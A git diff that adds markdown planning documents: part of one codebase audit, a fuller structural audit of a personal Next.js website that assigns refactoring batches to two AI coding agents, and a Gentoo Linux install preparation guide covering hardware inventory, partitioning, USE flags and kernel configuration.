`syncSurveysFromFiles` + +**doc.ts (3 dead):** +- `getDocumentsUnderPath`, `getDocBySlug`, `getTopLevelDirectories` + +**data.ts (2 dead):** +- `getVerseByTypeAndSlug`, `getDocumentFilePath` + +**mdx.ts (3 dead):** +- `fileExists`, `listMdxFiles`, `extractHeadingsWithHierarchy` + +**Other (7 dead):** +- `analytics-db.ts`: `getHistoryTimeline` +- `canonical-url.ts`: `_resetCanonicalUrlCache` +- `cookie-sign.ts`: `signCookie` +- `form-parser.ts`: `extractFormFrontmatter` +- `guestbook-db.ts`: `getGuestbookEntry` +- `media-db.ts`: `getMusicPlaylists` +- `prompts.ts`: `getPromptsByCategory`, `getPromptBySlug` + +### 3.2 Duplicate Logic + +**getMovies() defined twice:** +- `media-db.ts:getMovies()` - direct SQLite query +- `film-utils.ts:getMovies()` - async wrapper that calls the above + transforms field names + +**TilEntry/NowEntry defined twice:** +- `data.ts` (without `id` field) +- `system-db.ts` (with `id: number`) + +**Date formatting redundancy:** +- 14 date formatting functions, many overlapping (`formatCompact` vs `formatDateCompact`, `formatISO` vs `formatYMD`, `formatRange` vs `formatDateRange`) + +### 3.3 Inconsistent Database Patterns + +| Pattern | Tech | Files | Issue | +|---------|------|-------|-------| +| `withDb()` wrapper | SQLite | 108 uses | Good, canonical | +| Neon serverless | Postgres | analytics-db.ts only | Different paradigm, async vs sync | +| Manual singleton | SQLite | reference-db.ts only | Reinvents withDb(), connection never closed | + +**Fix:** Migrate reference-db.ts to use `withDb()`. Decide analytics future (keep Postgres or migrate to SQLite). + +### 3.4 Oversized Lib Files + +| File | Lines | Exports | Recommendation | +|------|-------|---------|----------------| +| `media-db.ts` | 837 | 91 | Split by domain (films, games, anime, reading) | +| `data.ts` | 713 | 36 | OK as-is, well-organized | +| `system-db.ts` | 620 | 30 | Split: metadata, quotes, supporters | +| `analytics-db.ts` | 504 | 30 | OK, cohesive domain | +| `survey-parser.ts` | 345 | - | OK, single responsibility | +| `seo.ts` | 320 | 5 | Split: JSON-LD, feeds, OG | + +### 3.5 Types Scattered + +Type definitions live in 4+ locations: +- `src/lib/types/content.ts` (264 lines) +- `src/lib/types/media.ts` (58 lines) +- Inlined in `analytics-db.ts`, `media-db.ts`, `system-db.ts`, `reference-db.ts` + +No single source of truth for types. + +--- + +## 4. Config / Build + +### 4.1 Font Bloat + +**16MB of fonts** in `public/fonts/` across 10+ families (53 .woff2 files): +- Noto Serif: 1.6MB (largest) +- Plus: IBM Plex Sans, Inter, Source Serif 4, Playfair Display, Fraunces, IBM Plex Mono, Outfit, Cormorant Garamond, Crimson Pro, Literata, Newsreader, Source Serif Pro + +Many are likely unused or used on a single page. Audit needed. + +### 4.2 Build Safety Gaps + +- `build:lowmem` disables both type-checking (`NEXT_DISABLE_TYPE_CHECKING=1`) and ESLint (`DISABLE_ESLINT_PLUGIN=true`) +- No ESLint config file exists (relying on Next.js defaults) +- No Prettier config (no formatting standard) +- No test files despite Vitest config present + +### 4.3 CSS Organization + +Hybrid approach (all acceptable, no conflicts): +- Tailwind (primary) +- 17 plain CSS files for specific components/routes +- `globals.css` at 48K is large with excessive `!important` in code block styles +- 96+ CSS variables from the pastel color system (12 colors x 8 variants) + +### 4.4 Database Sizes + +| Database | Size | Notes | +|----------|------|-------| +| reference.db | 59MB | Largest by far, contains poetry/reference data | +| content.db | 8.7MB | Main content | +| system.db | 2.4MB | Metadata, quotes, TIL | +| media.db | 656KB | Films, anime, games | + +All intentionally committed to git via `!data/*.db` gitignore exception. + +--- + +## 5. Code Quality + +### 5.1 Security Issues + +**Cookie secret default (CRITICAL):** +- `cookie-sign.ts:3` has hardcoded fallback: `'krisyotam-cookie-secret-change-in-prod'` +- Should throw if `COOKIE_SECRET` not set in production + +**TikZ XSS risk (MEDIUM):** +- `typography/tikz.tsx` renders SVG via `dangerouslySetInnerHTML` from server API +- No sanitization library (DOMPurify) applied to SVG output + +**CSRF localhost bypass:** +- `csrf.ts` allows `localhost:3000` and `localhost:3080` without environment check + +### 5.2 No Error Boundaries + +Zero `error.tsx` files in the entire app router. A crash in any route shows the default Next.js error page with no recovery path. + +### 5.3 TODO/FIXME Comments + +Only 3 found (minimal debt): +- `surveys/[slug]/client.tsx:40` - `// TODO: Submit to Supabase` +- `typography/tweet.css:53,59` - `// TODO: figure out a way to reuse this with a.tsx` + +### 5.4 Hardcoded URLs + +100+ instances of `krisyotam.com` hardcoded across the codebase. Acceptable for a personal site but blocks any future domain changes. + +### 5.5 Duplicated Patterns + +**URL replacement logic (2 files, identical):** +- `typography/citation.tsx:28-30` +- `seo/print.tsx:35-36` +- Both do localhost-to-production URL conversion + +**Image unoptimized check (7 files, identical):** +- Pattern: `unoptimized={image?.includes('krisyotam.com')}` +- Repeated in 7 component files + +### 5.6 Console Statements + +40+ `console.error` calls across production code. Most are legitimate error logging but several in components should be removed or replaced with proper error handling. + +--- + +## 6. Structural Scorecard + +| Area | Grade | Key Issue | +|------|-------|-----------| +| Route organization | B- | Empty groups, tracking duplication | +| Component architecture | C+ | 2 monoliths, 19 files with data fetching in UI | +| Lib/data layer | B | 31 dead exports, 3 DB paradigms | +| Type system | B- | Scattered definitions, duplicates | +| Config/build | B | Font bloat, no linting enforcement | +| Security | B- | Cookie fallback, no error boundaries | +| Code hygiene | B+ | Minimal TODOs, consistent imports, no circular deps | +| **Overall** | **B-** | Solid foundation, needs consolidation | + +--- + +## 7. Priority Actions for August Target + +### Tier 1: High Impact, Moderate Effort + +1. **Consolidate tracking routes** - Replace 5 copy-paste route sets + 7 layouts + 5 API routes with 1 dynamic route, 1 layout, 1 API +2. **Split reading.tsx** (1,589 lines) into sub-components + hooks +3. **Split survey.tsx** (1,220 lines) into form logic + presentation +4. **Split api/system/utils** (762 lines) into discrete endpoints +5. **Delete 31 dead exports** from lib/ + +### Tier 2: Medium Impact + +6. **Delete empty route groups** (`(info)`, `(media)`, `(updates)`) +7. **Migrate reference-db.ts** to use `withDb()` pattern +8. **Split media-db.ts** (837 lines) by domain +9. **Consolidate duplicate types** (TilEntry, NowEntry, Movie) +10. **Add error.tsx** boundaries to critical route groups +11. **Audit fonts** - identify unused families, subset the rest +12. **Fix cookie-sign.ts** - remove hardcoded fallback secret + +### Tier 3: Polish + +13. **Standardize component naming** to camelCase per project convention +14. **Consolidate date formatters** from 14 to ~5 +15. **Extract URL replacement** to shared utility +16. **Clean up globals.css** - remove `!important` overrides +17. **Move contribution-graph.tsx** to `home/` +18. **Delete empty directories** (changelog/, media/anime/) +19. **Extract image unoptimized check** to utility + +--- + +## 8. Files by Refactoring Priority + +### Must Touch (Tier 1) +``` +src/components/media/reading/reading.tsx (1,589 lines) +src/components/interactive/survey.tsx (1,220 lines) +src/app/api/system/utils/route.ts (762 lines) +src/app/(tracking)/*/layout.tsx (7 identical files) +src/app/(tracking)/*/page.tsx (5 near-identical patterns) +src/app/api/tracking/*/route.ts (5 near-identical APIs) +``` + +### Should Touch (Tier 2) +``` +src/lib/media-db.ts (837 lines, 91 exports) +src/lib/system-db.ts (620 lines) +src/lib/reference-db.ts (rogue singleton pattern) +src/lib/date.ts (14 formatters, 10 dead) +src/lib/types/ (scattered across 4+ locations) +src/lib/cookie-sign.ts (security fix) +``` + +### Nice to Touch (Tier 3) +``` +src/components/content/404-block.tsx (756 lines) +src/components/content/sequence.tsx (686 lines) +src/components/seo/print.tsx (602 lines) +src/components/content/verse.tsx (584 lines) +src/components/interactive/popups.tsx (531 lines) +src/app/globals.css (48K, !important abuse) +``` diff --git a/doc/files/codexAudit.md b/doc/files/codexAudit.md new file mode 100644 index 0000000000000000000000000000000000000000..2152542d227bdc68b1a8ccb365f428a1e793af23 --- /dev/null +++ b/doc/files/codexAudit.md @@ -0,0 +1,526 @@ +# Codex Structural Audit + +Generated: 2026-05-20 + +Scope: structural issues in `krisyotam.com`, with emphasis on making the codebase leaner, easier to navigate, and safer to change by August. This audit does not cover visual design polish or content quality. + +## Executive Summary + +The main problem is not one bad subsystem. The project has several parallel sources of truth that have drifted: + +- Content type definitions are repeated across routing, sync scripts, feeds, sitemap, search, SEO, and tests. +- SQLite path ownership is split between root `data/` and stale `public/data/` artifacts. +- URL resolution exists in several forms: Next rewrites, canonical helpers, component fallbacks, sitemap, JSON-LD, and script utilities. +- `src/app` mixes route modules with content payloads. +- Client boundaries are broader than they need to be, especially around layout and listing pages. +- `public/scripts` contains both browser assets and private operational tooling. +- Large CSS and data modules have become catch-all files. + +The highest-value August target is: + +1. One content registry. +2. One database root. +3. One canonical URL resolver. +4. One script path helper. +5. Route folders that only contain route code. +6. Shared listing and tracking primitives instead of repeated page clients. + +## Severity 1: Data and Routing Sources of Truth + +### 1. Content type lists are duplicated and inconsistent + +Evidence: + +- `src/app/(content)/[type]/config.ts` +- `next.config.mjs` +- `src/lib/seo.ts` +- `src/lib/content.ts` +- `src/lib/graph.ts` +- `src/app/sitemap.ts` +- `src/app/api/content/search/route.ts` +- `src/app/api/content/md/[slug]/route.ts` +- `src/app/api/system/utils/route.ts` +- `public/scripts/dev/syncContent.js` +- `public/scripts/dev/slugCollisions.js` +- `public/scripts/prod/magic-urls.js` +- `public/scripts/dev/generateMetadata.js` + +Why it matters: + +Adding or changing a content type requires edits in many unrelated files. Some lists include `documents`, `til`, `now`, `scripts`, `notebooks`, or `sequences`; others exclude them. That makes behavior hard to predict across feeds, search, sitemap, sexy URLs, and sync. + +Fix: + +Create a single registry that defines each content surface: + +- table name +- public route +- canonical URL mode +- sync source +- date column +- category column +- tag relation +- ratings support +- feed/search/sitemap inclusion +- MDX import directory + +Suggested file: + +- `src/config/contentRegistry.ts` for app/runtime code. +- `scripts/lib/contentRegistry.mjs` or generated JSON for CommonJS scripts and `next.config.mjs`. + +First batch: + +1. Introduce the registry with current behavior only. +2. Convert read-only consumers: `src/lib/seo.ts`, `src/lib/content.ts`, `src/app/sitemap.ts`, `src/app/api/content/search/route.ts`. +3. Convert write/sync scripts after the registry is proven. + +### 2. Database artifact ownership is split + +Evidence: + +- Runtime defaults use root `data/` via `src/lib/db.ts`. +- Root `data/*.db` is explicitly tracked by `.gitignore`. +- `public/data/content.db`, `public/data/media.db`, and `public/data/system.db` exist as zero-byte files. +- `public/scripts/doc/syncDocs.js` resolves `../../data/content.db` from inside `public/scripts/doc`, which lands at `public/data/content.db`. +- `public/scripts/dev/syncNotebooks.js` has the same public-data path issue. +- `public/scripts/dev/blogActivity.js` and `public/scripts/prod/magic-urls.js` still reference public DB paths. + +Why it matters: + +The app reads one database root while some scripts mutate or inspect another. This creates silent drift and makes script output untrustworthy. It also keeps fake DB files under a web-served directory. + +Fix: + +Make root `data/` the only SQLite root. Add a shared script helper: + +- `scripts/lib/paths.mjs` +- exports `PROJECT_ROOT`, `DATA_DIR`, `CONTENT_DIR`, and `dbPath(name)` +- honors `KRISYOTAM_DATA_DIR` and `KRISYOTAM_CONTENT_DIR` + +First batch: + +1. Update `syncDocs.js`, `syncNotebooks.js`, `blogActivity.js`, and `magic-urls.js` to use the helper. +2. Remove stale zero-byte `public/data/*.db`. +3. Document which files in `data/` are source snapshots and which are derived artifacts. +4. Make `git.js` fail on core sync errors instead of catching and continuing. + +### 3. Canonical URL behavior is duplicated and drifting + +Evidence: + +- `next.config.mjs` builds sexy URL rewrites directly from `content.db`. +- `src/lib/canonical-url.ts` mirrors the type list and reserved slug rules. +- `src/app/(content)/[type]/[category]/[slug]/page.tsx` uses `/${slug}` for metadata but hierarchical URLs for JSON-LD and breadcrumbs. +- Shared components fall back to `/${slug}` in `src/components/content/table.tsx`, `src/components/content/directory.tsx`, and `src/components/content/mediaCard.tsx`. +- Some clients pass `route` fields that are ignored by shared components. + +Why it matters: + +The site convention is sexy URLs. Today that rule is implemented partly by rewrite generation, partly by helper functions, and partly by UI component fallbacks. SEO, JSON-LD, sitemap, breadcrumbs, and client links can disagree. + +Fix: + +Normalize URLs server-side and pass `item.url` everywhere. Components should render one URL field instead of rebuilding URLs locally. + +First batch: + +1. Add a server helper that maps DB rows to normalized content cards with `url`. +2. Use `getCanonicalContentUrl` or a generated route manifest in metadata, JSON-LD, breadcrumbs, citations, and view trackers. +3. Remove fallback URL building from table, directory, and media-card components after callers pass URLs. + +## Severity 2: App Structure and Route Ownership + +### 4. `src/app` contains content payloads + +Evidence: + +- `src/app/(content)/til/content/*.mdx` +- `src/app/(content)/now/content/*.mdx` +- `src/app/(misc)/surveys/content/*.survey.md` + +Why it matters: + +The App Router tree should show routing and rendering ownership. Source content inside route folders makes it harder to scan the app tree and blurs the line between code and authored content. + +Fix: + +Move these payloads to `src/content/...` or the external content repo, then keep `src/app` limited to route modules, layouts, loading states, route-local clients, and route-local styles. + +First batch: + +1. Move TIL and Now content loaders behind `src/lib/til.ts` and `src/lib/now.ts`. +2. Move the physical files only after imports are centralized. +3. Repeat for surveys after the route behavior is covered by tests. + +### 5. TIL and Now detail pages load too much + +Evidence: + +- `src/app/(content)/til/page.tsx` +- `src/app/(content)/til/[slug]/page.tsx` +- `src/app/(content)/now/page.tsx` +- `src/app/(content)/now/[slug]/page.tsx` + +Why it matters: + +Index and detail pages repeat full-collection loading and MDX import logic. Detail routes should not scale with collection size. + +Fix: + +Extract loaders: + +- `getTilEntries()` +- `getTilEntry(slug)` +- `getNowEntries()` +- `getNowEntry(slug)` + +Then use collection loaders only for indexes and static params. + +### 6. Route groups have dead or unclear boundaries + +Evidence: + +- `src/app/(info)` is empty. +- `src/app/(media)` is empty. +- Media-like pages live under `(tracking)`. +- Misc pages under `(misc)` include several unrelated page families. + +Why it matters: + +Empty and vague groups weaken the mental map. The App Router tree should answer "where does this page belong?" quickly. + +Fix: + +Remove empty route groups or add a short route ownership note in `.config/.codex/docs/routes.md` and the architecture map. + +## Severity 2: Client Boundaries and Repeated UI State + +### 7. Layout header is client-side too high in the tree + +Evidence: + +- `src/components/layout/header.tsx` starts with `"use client"`. +- It is imported broadly by server-rendered pages. + +Why it matters: + +Mostly static header markup should not widen the client boundary. The interactive part should be a small island. + +Fix: + +Split into: + +- server-safe header renderer +- small client help or tooltip component +- pure formatting helpers + +### 8. Listing clients repeat the same state machinery + +Evidence: + +- `src/app/(content)/[type]/client.tsx` +- `src/app/(content)/til/client.tsx` +- `src/app/(content)/now/client.tsx` +- `src/app/(content)/scripts/client.tsx` +- `src/app/(content)/sequences/client.tsx` + +Repeated logic includes: + +- search state +- URL query view sync +- category or tag option construction +- date sorting +- empty states +- header data fallbacks +- slug banners and single-entry modes + +Why it matters: + +Every new collection page copies decisions from older pages. Small behavior fixes then require many edits. + +Fix: + +Extract: + +- `src/hooks/useContentListingState.ts` +- `src/components/content/CollectionShell.tsx` +- `src/components/content/FacetIndex.tsx` + +Keep route clients responsible only for data shape and item renderer choice. + +### 9. Tracking pages repeat browser scaffolding + +Evidence: + +- `src/components/media/tracking-overview.tsx` already contains a shared renderer. +- `src/app/(tracking)/games/client.tsx` still hand-rolls tabs, stat strips, sections, pagination, and empty states. +- `src/app/(tracking)/film/watched/client.tsx` and `src/app/(tracking)/anime/watched/client.tsx` repeat filter and grid scaffolding. + +Fix: + +Extend `TrackingOverview`, then add a generic `TrackingGridBrowser` for watched/read/played lists. + +### 10. `PageDescription` owns too many jobs + +Evidence: + +- `src/components/layout/page-description.tsx` + +Current responsibilities: + +- markdown-link parsing +- icon lookup +- modal open state +- sounds +- compact modal markup +- expanded modal markup + +Fix: + +Extract: + +- pure `parseMarkdownLinks` helper with tests +- shared modal body component +- narrow client shell for open and close state + +## Severity 2: CSS and Theme Structure + +### 11. `globals.css` is a catch-all + +Evidence: + +- `src/app/globals.css` is about 1,979 lines. +- It contains imports, viewport behavior, code block overrides, hover-card primitives, typography, footer animation, comments, sidenotes, footnotes, lede cards, and print styles. + +Why it matters: + +Global CSS is now a shared junk drawer. It is hard to know whether a class is global by design, legacy, or route-specific. + +Fix: + +Move domain styles into `src/app/styles/core/*` and import them through a single file: + +- `base.css` +- `typography.css` +- `code.css` +- `comments.css` +- `footnotes.css` +- `sidenotes.css` +- `print.css` +- `cards.css` +- `motion.css` + +Keep `globals.css` as the import root plus true app-wide tokens. + +### 12. Theme tokens duplicate fallback and class-based modes + +Evidence: + +- `src/app/styles/themes/default.css` +- duplicate no-JS dark-mode and `.dark` definitions +- repeated pastel token blocks + +Fix: + +Use layered token groups or generate theme CSS from one source. The first target is no behavior change: reduce duplicate declarations while preserving fallback behavior. + +## Severity 3: Scripts and Tooling Shape + +### 13. Private operational scripts live under `public/` + +Evidence: + +- `public/scripts/dev/*` +- `public/scripts/doc/*` +- `public/scripts/prose/*` +- `public/scripts/verse/*` +- `public/scripts/doc/filelist.txt` + +Why it matters: + +Only browser-delivered scripts belong under `public/`. Commit tooling, DB mutators, importers, document sync, and prose tools should not be web-served. + +Fix: + +Target shape: + +- `public/scripts/footnotes.js` +- `public/scripts/sidenotes.js` +- `public/scripts/prod/*` only if browser-delivered or server-used from public path +- `scripts/dev/*` +- `scripts/doc/*` +- `scripts/prose/*` +- `scripts/verse/*` +- `scripts/lib/*` + +Migration needs compatibility shims because project memory currently says script subdirectories are fixed under `public/scripts/{auth,dev,doc,prod,prose,verse}`. This should be changed deliberately in the architecture docs when the migration starts. + +### 14. Script comments and hardcoded paths are stale + +Evidence: + +- `public/scripts/dev/syncContent.js` still documents `public/scripts/keep`. +- `public/scripts/dev/generateMetadata.js` hardcodes `PROJECT_ROOT = '/home/krisyotam/dev/krisyotam.com'`. +- Several scripts hardcode DB or content locations instead of deriving from project root and env vars. + +Fix: + +After the path helper lands, convert scripts one family at a time and remove stale comments while touching each file. + +## Severity 3: Large Data Modules and Testing + +### 15. Database modules are too broad + +Evidence: + +- `src/lib/media-db.ts` is about 837 lines. +- `src/lib/data.ts` is about 713 lines. +- `src/lib/system-db.ts` is about 620 lines. +- Direct SQL is spread across app routes, lib modules, and scripts. + +Fix: + +Split by domain once the registry exists: + +- content collections +- content taxonomy +- content detail lookup +- media film +- media tv +- media anime and manga +- media games +- system roll pages +- system social pages + +Avoid splitting before the registry and DB path fixes, or it will preserve the same drift in more files. + +### 16. Tests cover utilities more than structure + +Evidence: + +- `vitest.config.ts` uses Node environment only. +- Existing tests focus on pure utility and config behavior. +- Route clients, route handlers, URL normalization, DB path resolution, and theme tokens have little visible coverage. + +Fix: + +Start with tests that protect the refactors: + +1. Content registry consumers agree on valid types. +2. DB path helper resolves root `data/` by default. +3. Canonical URL resolver returns sexy URLs and document overrides. +4. Listing state hook filters and sorts deterministically. +5. API route handlers return consistent error shapes. + +Add jsdom only for components that actually need browser interaction. + +## Proposed Work Division After Deduplication + +This is the cleanest split between Claude and Codex without both agents touching the same files at once. + +### Codex-owned first batch + +Files likely touched: + +- `src/lib/db.ts` +- new `scripts/lib/paths.mjs` +- `public/scripts/doc/syncDocs.js` +- `public/scripts/dev/syncNotebooks.js` +- `public/scripts/dev/blogActivity.js` +- `public/scripts/prod/magic-urls.js` +- `public/scripts/dev/git.js` +- tests for DB path behavior + +Goal: + +Fix DB root drift and make script path resolution trustworthy. + +### Claude-owned first batch + +Files likely touched: + +- `src/app/(content)/[type]/config.ts` +- `src/lib/seo.ts` +- `src/lib/content.ts` +- `src/app/sitemap.ts` +- `src/app/api/content/search/route.ts` +- new content registry file +- tests for registry consistency + +Goal: + +Create the content registry and convert read-only consumers. + +### Codex-owned second batch + +Files likely touched: + +- `src/lib/canonical-url.ts` +- `src/app/(content)/[type]/[category]/[slug]/page.tsx` +- `src/app/(content)/[type]/page.tsx` +- `src/components/content/table.tsx` +- `src/components/content/directory.tsx` +- `src/components/content/mediaCard.tsx` + +Goal: + +Normalize canonical URLs once and pass `item.url` through shared components. + +### Claude-owned second batch + +Files likely touched: + +- `src/app/(content)/til/page.tsx` +- `src/app/(content)/til/[slug]/page.tsx` +- `src/app/(content)/now/page.tsx` +- `src/app/(content)/now/[slug]/page.tsx` +- new `src/lib/til.ts` +- new `src/lib/now.ts` + +Goal: + +Extract TIL and Now loaders before moving content out of route folders. + +### Later shared batches + +- CSS split: one agent owns `globals.css` extraction; the other only reviews imports. +- Listing shell: one agent owns content listing state; the other owns tracking grid browser. +- Script migration out of `public/`: do only after path helper and docs are updated. + +## Recommended Order + +1. Fix DB root drift and path helper. +2. Add content registry and convert read-only consumers. +3. Normalize canonical URL generation and require `item.url`. +4. Extract TIL and Now loaders. +5. Split header and `PageDescription` client islands. +6. Extract listing and tracking primitives. +7. Split `globals.css`. +8. Move private scripts out of `public/`. +9. Split broad DB modules by domain. + +## Notes for Merge With Claude Audit + +No `claudeAudit.md` was present in the repo root when this file was written. When Claude's file appears, merge by theme rather than by agent: + +- Data and scripts +- Content registry +- Canonical URLs +- Route tree ownership +- Client boundaries +- CSS and themes +- Tests +- Work division + +Deduplicate by file path before assigning fixes. The files most likely to attract conflicts are: + +- `src/app/(content)/[type]/config.ts` +- `src/lib/seo.ts` +- `src/lib/content.ts` +- `src/lib/data.ts` +- `src/lib/canonical-url.ts` +- `next.config.mjs` +- `src/app/globals.css` +- `public/scripts/dev/git.js` +- `public/scripts/dev/syncContent.js` diff --git a/doc/gentoo/gentoo.md b/doc/gentoo/gentoo.md new file mode 100644 index 0000000000000000000000000000000000000000..b4c0ac337e03952f02fc169305703bc48c84a8ae --- /dev/null +++ b/doc/gentoo/gentoo.md @@ -0,0 +1,445 @@ +# Gentoo Install Preparation + +## 1. Hardware Inventory + +Run these on the target machine before starting. Save the output files in this directory. + +```bash +lspci -vnn > hw-lspci.txt +lsusb -v > hw-lsusb.txt +cat /proc/cpuinfo > hw-cpu.txt +lsmod > hw-modules.txt +lsblk -f > hw-disks.txt +ip link show > hw-net.txt +rfkill list > hw-rfkill.txt +dmidecode -t memory > hw-ram.txt # sudo +dmidecode -t bios > hw-bios.txt # sudo +``` + +The `lspci -vnn` output is the most important. Every line maps to a kernel driver and potentially a USE flag. The `[XXXX:XXXX]` vendor:device IDs let you look up exact driver requirements. + +--- + +## 2. Profile Selection + +Profiles set hundreds of default USE flags. Pick before writing make.conf since global USE flags layer on top. + +Available profiles (amd64): https://wiki.gentoo.org/wiki/Profile_(Portage) + +| Profile | When to use | +|---------|-------------| +| `default/linux/amd64/23.0` | Minimal base, build everything yourself | +| `default/linux/amd64/23.0/desktop` | Generic desktop defaults | +| `default/linux/amd64/23.0/desktop/plasma` | KDE Plasma | +| `default/linux/amd64/23.0/desktop/gnome/systemd` | GNOME (requires systemd) | +| `default/linux/amd64/23.0/no-multilib` | 64-bit only, no 32-bit compat | + +For a suckless/minimal setup: use the base `23.0` profile or `23.0/desktop` at most. Desktop profiles pull in flags for full DE stacks you won't use. + +```bash +# List available profiles +eselect profile list + +# Set profile +eselect profile set <number> +``` + +--- + +## 3. Partition Scheme + +Decide before booting the live environment. + +### UEFI + GPT (recommended) + +| Partition | Filesystem | Size | Mount | Notes | +|-----------|-----------|------|-------|-------| +| /dev/sdX1 | FAT32 | 1G | /boot/efi | EFI System Partition | +| /dev/sdX2 | swap | = RAM | swap | Or skip if using zram | +| /dev/sdX3 | ext4 | 40-60G | / | Root | +| /dev/sdX4 | ext4 | remainder | /home | User data | + +### BIOS + MBR (legacy) + +| Partition | Filesystem | Size | Mount | Notes | +|-----------|-----------|------|-------|-------| +| /dev/sdX1 | ext2 | 512M | /boot | Boot partition | +| /dev/sdX2 | swap | = RAM | swap | | +| /dev/sdX3 | ext4 | 40-60G | / | Root | +| /dev/sdX4 | ext4 | remainder | /home | | + +### Decisions to make + +- **Encryption**: LUKS on root and/or home? Adds complexity but worth it for laptops. +- **LVM**: Flexible resizing later. Adds a layer. Usually worth it. +- **btrfs vs ext4 vs xfs**: btrfs gives snapshots and compression. ext4 is proven and simple. xfs for large files/performance. +- **Swap**: Physical partition, swap file, zram, or none. zram compresses in RAM and avoids disk I/O. +- **Separate /var or /tmp**: Usually not needed unless you have specific disk isolation requirements. + +--- + +## 4. Global USE Flags + +These go in `make.conf`. The goal is to set sensible defaults globally, then override per-package in `/etc/portage/package.use/`. + +### Strategy + +1. Start minimal (deny most things) +2. Add what you actually use +3. Use per-package overrides for exceptions + +### Flag Categories + +#### Display and Graphics + +| Flag | Purpose | Enable if | +|------|---------|-----------| +| `X` | X11 support | Using X.org (yes for suckless) | +| `-wayland` | Wayland support | Not using Wayland | +| `opengl` | OpenGL support | Almost always yes | +| `vulkan` | Vulkan API | Gaming, GPU compute | +| `egl` | EGL interface | Modern GL apps | + +#### Audio and Media + +| Flag | Purpose | Enable if | +|------|---------|-----------| +| `pipewire` | PipeWire audio | Modern audio stack | +| `pulseaudio` | PulseAudio | Legacy; PipeWire replaces this | +| `alsa` | ALSA direct | Always, it's the kernel layer | +| `ffmpeg` | FFmpeg codecs | Media playback | +| `mp3 flac opus vorbis` | Audio codecs | As needed | +| `jpeg png webp svg` | Image formats | Almost always | + +#### System and Init + +| Flag | Purpose | Enable if | +|------|---------|-----------| +| `systemd` | systemd init | Using systemd | +| `-systemd` + `elogind` | OpenRC init | Using OpenRC (traditional Gentoo) | +| `dbus` | D-Bus IPC | Most desktop apps need it | +| `pam` | Auth modules | Almost always | +| `udev` | Device manager | Always | +| `policykit` | Privilege escalation | If using polkit for sudo-like GUI actions | + +#### Networking + +| Flag | Purpose | Enable if | +|------|---------|-----------| +| `ssl` | SSL/TLS | Always | +| `gnutls` | GnuTLS library | Some apps prefer this over OpenSSL | +| `curl` | libcurl support | Almost always | +| `wifi` | Wireless | Laptops | +| `bluetooth` | Bluetooth | If hardware present | +| `networkmanager` | NetworkManager | If using NM; skip for wpa_supplicant+dhcpcd | + +#### Security + +| Flag | Purpose | Enable if | +|------|---------|-----------| +| `hardened` | Security hardening | Security-focused build | +| `seccomp` | Syscall filtering | Containers, sandboxing | +| `caps` | POSIX capabilities | Fine-grained perms | + +#### Development + +| Flag | Purpose | Enable if | +|------|---------|-----------| +| `python` | Python bindings | Dev work | +| `-doc` | Documentation | Saves compile time if you use online docs | +| `-test` | Test suites | Don't run tests during install | + +#### Shell and Completions + +| Flag | Purpose | Enable if | +|------|---------|-----------| +| `fish-completion` | Fish completions | Using fish shell | +| `-bash-completion` | Bash completions | Not using bash interactively | +| `-zsh-completion` | Zsh completions | Not using zsh | +| `man` | Man pages | Yes | + +### Full USE flag reference + +Browse all flags: https://www.gentoo.org/support/use-flags/ + +Per-package flags: https://packages.gentoo.org (search package, check USE tab) + +--- + +## 5. VIDEO_CARDS and INPUT_DEVICES + +### VIDEO_CARDS + +| Value | Hardware | +|-------|----------| +| `amdgpu` | AMD Radeon RX 400+ (GCN 4+) | +| `radeonsi` | AMD Radeon HD 7000+ (GCN 1-3) | +| `intel` | Intel integrated (i915/xe) | +| `nvidia` | NVIDIA proprietary driver | +| `nouveau` | NVIDIA open-source driver | +| `virgl` | VirtIO GPU (VMs) | + +Set only what your hardware has. Multiple values separated by spaces. + +### INPUT_DEVICES + +``` +INPUT_DEVICES="libinput" +``` + +`libinput` covers keyboards, mice, touchpads, tablets. This is the modern default. Only add `synaptics` if you specifically need it for an old touchpad. + +--- + +## 6. Kernel Configuration + +### Approach 1: Manual (maximum control) + +```bash +cd /usr/src/linux +make menuconfig +``` + +Map your `lspci -vnn` output to kernel options. Key areas: + +| Hardware | Kernel config path | +|----------|-------------------| +| CPU | Processor type and features | +| GPU | Device Drivers > Graphics support | +| NIC (ethernet) | Device Drivers > Network device support > Ethernet | +| WiFi | Device Drivers > Network device support > Wireless | +| Storage (NVMe) | Device Drivers > NVM Express block device | +| Storage (SATA) | Device Drivers > Serial ATA and PATA | +| USB | Device Drivers > USB support | +| Sound | Device Drivers > Sound card support > ALSA | +| Bluetooth | Networking support > Bluetooth | +| Filesystem | File systems (enable ext4, FAT, etc.) | + +Critical: If a driver is built-in (`*`) vs module (`M`): +- Built-in: available at boot, no initramfs needed for that driver +- Module: loaded on demand, needs initramfs if required at boot (root fs driver, etc.) + +### Approach 2: genkernel (automatic) + +```bash +emerge sys-kernel/genkernel +genkernel all +``` + +Builds a kitchen-sink kernel with most drivers as modules. Works but bloated. + +### Approach 3: Distribution kernel + +```bash +emerge sys-kernel/gentoo-kernel-bin # prebuilt binary +# or +emerge sys-kernel/gentoo-kernel # builds from source with default config +``` + +Easiest path. You can switch to manual later. + +### Pre-planning kernel config + +Before install, make a checklist from your `lspci` output: + +``` +[ ] GPU: AMD/Intel/NVIDIA -- driver name +[ ] NIC: Realtek/Intel/Broadcom -- driver name +[ ] WiFi: Intel/Atheros/Broadcom -- driver name + firmware +[ ] Audio: Intel HDA / USB -- codec +[ ] NVMe/SATA controller +[ ] USB 3.x/Thunderbolt +[ ] Bluetooth chipset +[ ] Webcam (UVC) +[ ] Card reader +[ ] TPM (if present) +``` + +For each, find the kernel config option via the Gentoo wiki hardware page or `grep -r "VENDOR_ID" /usr/src/linux/`. + +--- + +## 7. Firmware + +Many devices need firmware blobs. Install: + +```bash +emerge sys-kernel/linux-firmware +``` + +WiFi cards almost always need firmware. Check your specific chipset: +- Intel WiFi: `iwlwifi` firmware +- Broadcom: `b43` or `broadcom-sta` +- AMD GPU: `amdgpu` firmware in linux-firmware +- NVIDIA: proprietary driver bundles its own + +--- + +## 8. Package Plan + +List every package you want. For each, check USE flags at https://packages.gentoo.org. + +### Template + +``` +# Window Manager / Desktop +x11-wm/dwm +x11-misc/dmenu +x11-terms/st +x11-misc/picom + +# Shell +app-shells/fish + +# Editor +app-editors/neovim + +# Terminal tools +app-misc/tmux +sys-apps/ripgrep +sys-apps/fd + +# Browser +www-client/firefox # USE: -telemetry +# or +www-client/chromium # USE: -hangouts + +# Media +media-video/mpv +media-gfx/feh +media-gfx/imagemagick + +# Audio +media-sound/pipewire + +# Networking +net-misc/curl +net-misc/wget +net-misc/openssh + +# Version Control +dev-vcs/git + +# Fonts 